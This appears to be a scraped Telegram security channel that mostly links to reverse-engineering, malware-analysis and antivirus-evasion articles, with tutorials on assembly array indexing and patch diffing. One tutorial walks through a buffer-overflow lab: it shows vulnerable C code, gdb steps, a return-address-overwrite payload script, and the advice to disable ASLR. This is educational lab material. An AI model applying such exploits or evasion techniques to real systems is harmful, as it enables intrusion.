Reverse Engineering 3011: Reversing C++ Binaries
https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+RE3011_re_cpp+2022_v1/about?s=09
@reverseengine
https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+RE3011_re_cpp+2022_v1/about?s=09
@reverseengine
p.ost2.fyi
Reverse Engineering 3011: Reversing C++ Binaries
The course will explain C++ reverse engineering topics including techniques and tools for researching C++ Binaries.
❤2
Detecting Crypto-Ransomware in IoT Networks Based on Energy Consumption Footprint
https://www.researchgate.net/publication/319252402_Detecting_crypto-ransomware_in_IoT_networks_based_on_energy_consumption_footprint
@reverseengine
https://www.researchgate.net/publication/319252402_Detecting_crypto-ransomware_in_IoT_networks_based_on_energy_consumption_footprint
@reverseengine
ResearchGate
(PDF) Detecting crypto-ransomware in IoT networks based on energy consumption footprint
PDF | An Internet of Things (IoT) architecture generally consists of a wide range of Internet-connected devices or things such as Android devices, and... | Find, read and cite all the research you need on ResearchGate
❤2
Racing bugs in Windows kernel
https://dannyodler.hashnode.dev/racing-bugs-in-windows-kernel
@reverseengine
https://dannyodler.hashnode.dev/racing-bugs-in-windows-kernel
@reverseengine
❤2
Aiding Reverse Engineering with Rust and a local LLM
https://security.humanativaspa.it/aiding-reverse-engineering-with-rust-and-a-local-llm
@reverseengine
https://security.humanativaspa.it/aiding-reverse-engineering-with-rust-and-a-local-llm
@reverseengine
HN Security
Aiding reverse engineering with Rust and a local LLM - HN Security
Offensive Rust series article that introduces a new AI tool (oneiromancer) to aid with reverse engineering.
❤3
Reverse Engineering Android Apps for API Keys
https://pwn.guide/free/forensics/re-android
@reverseengine
https://pwn.guide/free/forensics/re-android
@reverseengine
pwn.guide
Reverse Engineer Android Apps for API Keys
How to reverse engineer Android apps & find confidential API Keys
❤3
Bypassing Windows Defender antivirus in 2025: Evasion Techniques Using Direct Syscalls and XOR Encryption
https://www.hackmosphere.fr/bypass-windows-defender-antivirus-2025
@reverseengine
https://www.hackmosphere.fr/bypass-windows-defender-antivirus-2025
@reverseengine
Hackmosphere
Windows Defender antivirus bypass in 2025 - part 1
Discover how antivirus works and how to setup a lab for (Windows Defender) antivirus bypass. Basic code is provided to start experimenting !
❤2
Disassembling a Binary: linear Sweep and Recursive Traversal
https://nicolo.dev/en/blog/disassembling-binary-linear-recursive
@reverseengine
https://nicolo.dev/en/blog/disassembling-binary-linear-recursive
@reverseengine
nicolo.dev
Disassembling a binary: linear sweep and recursive traversal
Building your own set of analysis tools is a great exercise for those who already have some basics and allows you to later move on to implement more targeted analyses in reverse engineering. Even just seeing how the different algorithms can be implemented…
❤2
Analyzing ELF/Sshdinjector.A!tr with a Human and Artificial Analyst
https://www.fortinet.com/blog/threat-research/analyzing-elf-sshdinjector-with-a-human-and-artificial-analyst
@reverseengine
https://www.fortinet.com/blog/threat-research/analyzing-elf-sshdinjector-with-a-human-and-artificial-analyst
@reverseengine
Fortinet Blog
Analyzing ELF/Sshdinjector.A!tr with a Human and Artificial Analyst
FortiGuard Labs reverse engineers a malware’s binaries to look into what the malware is actually doing.…
❤2
Ransomware Groups Exploiting Microsoft Teams
https://gosecure.ai/blog/2025/01/22/ransomware-groups-exploiting-microsoft-teams
@reverseengine
https://gosecure.ai/blog/2025/01/22/ransomware-groups-exploiting-microsoft-teams
@reverseengine
GoSecure
24/7 managed detection, response, and expert cybersecurity services - GoSecure
We provide around-the-clock threat detection and incident response, backed by expert consulting to keep your organization secure.
❤3
The Definitive Guide to Linux Process Injection
https://www.akamai.com/blog/security-research/the-definitive-guide-to-linux-process-injection
@reverseengine
https://www.akamai.com/blog/security-research/the-definitive-guide-to-linux-process-injection
@reverseengine
Akamai
The Definitive Guide to Linux Process Injection | Akamai
In this blog post, we document Linux process injection techniques, and explain how to detect and mitigate them.
❤3
وقتی C با آرایهها کار میکنه کامپایلر چی تولید میکنه و چطور ما از روی اسمبلی بفهمیم indexing دقیقا چکار میکنه
یک مثال ساده در C
کامپایلر چی میکنه
آرایه روی دیتا سکشن ذخیره میشه و index تبدیل میشه به:
اسمبلی get در x86-64 بدون بهینه سازی زیاد
نکات مهم:
معنی دستورات
مهمترین قانون
هر وقت دیدید reg * 4, reg * 8, reg * 2 یعنی داره به آرایه دسترسی میده
پایین دستورات به ترتیب نوع داده سایز ضربدر رجیستر
What does the compiler produce when C works with arrays and how do we understand from the assembly what exactly indexing does
A simple example in C
What does the compiler do
The array is stored in the data section and the index becomes:
Important points:
Meaning of commands
The most important rule
Whenever you see reg * 4, reg * 8, reg * 2, it means that the array is being accessed
Below are the commands in order of data type size times register
@reverseengine
یک مثال ساده در C
int arr[4] = {10, 20, 30, 40};
int get(int i){
return arr[i];
}
کامپایلر چی میکنه
آرایه روی دیتا سکشن ذخیره میشه و index تبدیل میشه به:
address = base + index * sizeof(element)
چون int = 4 بایت:
arr[i] → arr + i*4
اسمبلی get در x86-64 بدون بهینه سازی زیاد
get:
mov eax, DWORD PTR
arr[rax*4] ; eax = arr[i]
ret
نکات مهم:
معنی دستورات
rax
پارامتر i
arr آدرس ثابت آرایه
rax*4
چون int چهار بایته
mov eax, [...]
مقدار رو در eax برمیگردونه return value
مهمترین قانون
هر وقت دیدید reg * 4, reg * 8, reg * 2 یعنی داره به آرایه دسترسی میده
پایین دستورات به ترتیب نوع داده سایز ضربدر رجیستر
char / int8_t 1 i*1
short / int16_t 2 i*2
int / float4 i*4
long / pointer / int64_t 8 i*8
What does the compiler produce when C works with arrays and how do we understand from the assembly what exactly indexing does
A simple example in C
int arr[4] = {10, 20, 30, 40};
int get(int i){
return arr[i];
}
What does the compiler do
The array is stored in the data section and the index becomes:
address = base + index * sizeof(element)Assembly get in x86-64 without much optimization
Since int = 4 bytes:
arr[i] → arr + i*4
get:
mov eax, DWORD PTR
arr[rax*4] ; eax = arr[i]
ret
Important points:
Meaning of commands
rax Parameter i
arr array constant address
rax*4 Since int is four bytes
mov eax, [...] Returns the value in eax return value
The most important rule
Whenever you see reg * 4, reg * 8, reg * 2, it means that the array is being accessed
Below are the commands in order of data type size times register
char / int8_t 1 i*1
short / int16_t 2 i*2
int / float4 i*4
long / pointer / int64_t 8 i*8
@reverseengine
❤5
تحلیل پچ Patch Analysis
فهمیدن فرق دو نسخه از یک باینری: چه چیزی تغییر کرده کد کجا اصلاح شده ایا باگ فیکس شده یا رفتار جدیدی اضافه شده
مثال:
دو نسخهی یک برنامهی open-source یا نمونه قانونی رو با ابزار هایی مثل BinDiff/Diaphora مقایسه کنید و ببینید تو کد چه توابعی تغییر کردن بعد pseudocode اون توابع رو چک کنید تا دلیل تغییر مشخص بشه
دیتکشن
توابعی که signature یا آدرسشون تغییر کرده ولی اسم ندارن احتمالا patch مهمه
اضافه شدن یا حذف شدن چک های ورودی یا شرط ها
میتیگیشن
سازمان: همیشه patch ها رو اول توی محیط تست بررسی کنید برای نسخهها changelog و hash نگه دارید
توسعهدهنده: Release note دقیق بنویسید و نماد signature/hash ارائه بدید تا کسی بتونه درستی فایل رو چک کنه
Patch Analysis
Understanding the difference between two versions of a binary: what has changed, where the code has been modified, whether a bug has been fixed, or new behavior has been added
Example:
Compare two versions of an open-source program or legal sample with tools like BinDiff/Diaphora and see what functions in the code have changed, then examine the pseudocode of those functions to determine the reason for the change
Detection
Functions that have changed signatures or addresses but no names are likely important patches
Added or removed input checks or conditions
Mitigation
Organization: Always test patches in a test environment first, keep a changelog and hash for the versions
Developer: Write a detailed release note and provide a signature/hash symbol so that someone can check the file for correctness
@reverseengine
فهمیدن فرق دو نسخه از یک باینری: چه چیزی تغییر کرده کد کجا اصلاح شده ایا باگ فیکس شده یا رفتار جدیدی اضافه شده
مثال:
دو نسخهی یک برنامهی open-source یا نمونه قانونی رو با ابزار هایی مثل BinDiff/Diaphora مقایسه کنید و ببینید تو کد چه توابعی تغییر کردن بعد pseudocode اون توابع رو چک کنید تا دلیل تغییر مشخص بشه
دیتکشن
توابعی که signature یا آدرسشون تغییر کرده ولی اسم ندارن احتمالا patch مهمه
اضافه شدن یا حذف شدن چک های ورودی یا شرط ها
میتیگیشن
سازمان: همیشه patch ها رو اول توی محیط تست بررسی کنید برای نسخهها changelog و hash نگه دارید
توسعهدهنده: Release note دقیق بنویسید و نماد signature/hash ارائه بدید تا کسی بتونه درستی فایل رو چک کنه
Patch Analysis
Understanding the difference between two versions of a binary: what has changed, where the code has been modified, whether a bug has been fixed, or new behavior has been added
Example:
Compare two versions of an open-source program or legal sample with tools like BinDiff/Diaphora and see what functions in the code have changed, then examine the pseudocode of those functions to determine the reason for the change
Detection
Functions that have changed signatures or addresses but no names are likely important patches
Added or removed input checks or conditions
Mitigation
Organization: Always test patches in a test environment first, keep a changelog and hash for the versions
Developer: Write a detailed release note and provide a signature/hash symbol so that someone can check the file for correctness
@reverseengine
❤5
بخش هشتم بافر اورفلو
آدرس بازگشت و اجرای تابع win
کاری که میخواییم بکنیم
تو این قسمت مرحله به مرحله نشون میدیم چطور آفست بین ابتدای بافر و saved return address رو پیدا کنیم
بعد یاد میگیریم چطور آدرس تابع win رو بگیریم و ورودی بسازیم که وقتی vuln برمیگرده به جای برگشت عادی تابع win اجرا بشه
کد فایل file5_vuln.c
#include <stdio.h>
#include <string.h>
void win() {
puts("congrats you reached win");
}
void vuln(char *s) {
char buf[32];
strcpy(buf, s);
puts("returned from vuln");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("done main");
return 0;
}
کامپایل کنید
gcc -g file5_vuln.c -o file5_vuln -fno-stack-protector
یک الگو بفرستید یا فقط A تکراری بفرستید تا کرش کنه
python3 -c "print('A'*200)" > in.txt
gdb --args ./file5_vuln $(cat in.txt)
تو gdb توقف بذارید و قبل و بعد از strcpy نگاه کنید
break vulnوقتی کرش یا overwrite دیدید ادرس 8 بایتی که تو محل return افتاده رو بخونید
run
x/40x $rbp-64
# حافظه پایینتر از rbp رو ببینید قبل از strcpy
next
# اجرای کامل strcpy
x/40x $rbp-64
# بعد از strcpy ببینید چی تغییر کرده
x/gx $rbp+8
ادرس تابع win رو بگیرید
p &win
ساخت payload ساده برای فرستادن آدرس win به جای return address
فرض کنید آفست بین ابتدای بافر و saved return address شد مثلا 40 اینطوری payload میسازیم آدرس win رو از دستور p &win بگیرید
python3 - <<'PY' > payload.bin
import sys,struct
offset = 40 # عددی که خودتون پیدا کردید
addr_win = 0x414141414141
# اینو با آدرس واقعی جایگزین کنید مثلا 0x4006b6
sys.stdout.buffer.write(b'A'*offset + struct.pack('<Q', addr_win))
PY
بعد اجرا کنید
./file5_vuln "$(cat payload.bin)"
اگر درست زدید وقتی vuln برمیگرده به جای برگشت عادی تابع win اجرا میشه و متنش چاپ میشه
نکتههای مهم
آدرس ها داخل لینوکس x86_64 به صورت little endian هستن برای همین از struct.pack با '<Q' استفاده کردیم
برای اینکه آدرس ثابت باشه ASLR رو داخل VM خاموش کنید یا از پیکربندی VM استفاده کنید
Part 8 Buffer Overflow
return address and execute the win function
What we are going to do
In this part, we will show you step by step how to find the offset between the beginning of the buffer and the saved return address
Then we will learn how to get the address of the win function and create an input so that when vuln returns, the win function is executed instead of the normal return
File code file5_vuln.c
#include <stdio.h>
#include <string.h>
void win() {
puts("congrats you reached win");
}
void vuln(char *s) {
char buf[32];
strcpy(buf, s);
puts("returned from vuln");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("done main");
return 0;
}
Compile
gcc -g file5_vuln.c -o file5_vuln -fno-stack-protector
Send a pattern or just a repeated A to crash
python3 -c "print('A'*200)" > in.txt
gdb --args ./file5_vuln $(cat in.txt)
Stop gdb and look before and after strcpy
break vuln
run
x/40x $rbp-64
# See memory below rbp before strcpy
next
# Run strcpy completely
x/40x $rbp-64 # See what changed after strcpy
When you see a crash or overwrite, read the 8-byte address that was in the return location
x/gx $rbp+8
Get the address of the win function
p &win
Create a simple payload to send the address of win to Instead of return address
Assume the offset between the beginning of the buffer and the saved return address is, for example, 40. This is how we create the payload. Get the win address from the p &win command
python3 - <<'PY' > payload.bin
import sys,struct
offset = 40 # The number you found yourself
addr_win = 0x414141414141
# Replace this with the real address, for example, 0x4006b6
sys.stdout.buffer.write(b'A'*offset + struct.pack('<Q', addr_win))
PY
Then run
./file5_vuln "$(cat payload.bin)"
If you typed correctly, when vuln returns, the win function will be executed instead of the normal return and its text will be printed
Important points
❤4
Addresses in Linux x86_64 are little endian, so we used struct.pack with '<Q'
To make the address constant Okay, turn off ASLR inside the VM or use the VM configuration
@reverseengine
To make the address constant Okay, turn off ASLR inside the VM or use the VM configuration
@reverseengine
❤4
implementing a Technique to Remove the Original Caller from the Call Atack
https://github.com/klezVirus/SilentMoonwalk
@reverseengine
https://github.com/klezVirus/SilentMoonwalk
@reverseengine
GitHub
GitHub - klezVirus/SilentMoonwalk: PoC Implementation of a fully dynamic call stack spoofer
PoC Implementation of a fully dynamic call stack spoofer - klezVirus/SilentMoonwalk
❤3
Fantastic Rootkits
https://www.cyberark.com/resources/threat-research-blog/fantastic-rootkits-and-where-to-find-them-part-1
@reverseengine
https://www.cyberark.com/resources/threat-research-blog/fantastic-rootkits-and-where-to-find-them-part-1
@reverseengine
Cyberark
Fantastic Rootkits: And Where to Find Them (Part 1)
Introduction In this blog series, we will cover the topic of rootkits — how they are built and the basics of kernel driver analysis — specifically on the Windows platform. In this first part, we...
❤3
Intro to Embedded Reverse Engineering
PART 1: TOOLS AND SERIES OVERVIEW
PART 2: SETTING UP A DEVELOPMENT ENVIRONMENT
PART 3: UART DISCOVERY AND FIRMWARE EXTRACTION VIA UBOOT
@reverseengine
PART 1: TOOLS AND SERIES OVERVIEW
PART 2: SETTING UP A DEVELOPMENT ENVIRONMENT
PART 3: UART DISCOVERY AND FIRMWARE EXTRACTION VIA UBOOT
@reverseengine
❤4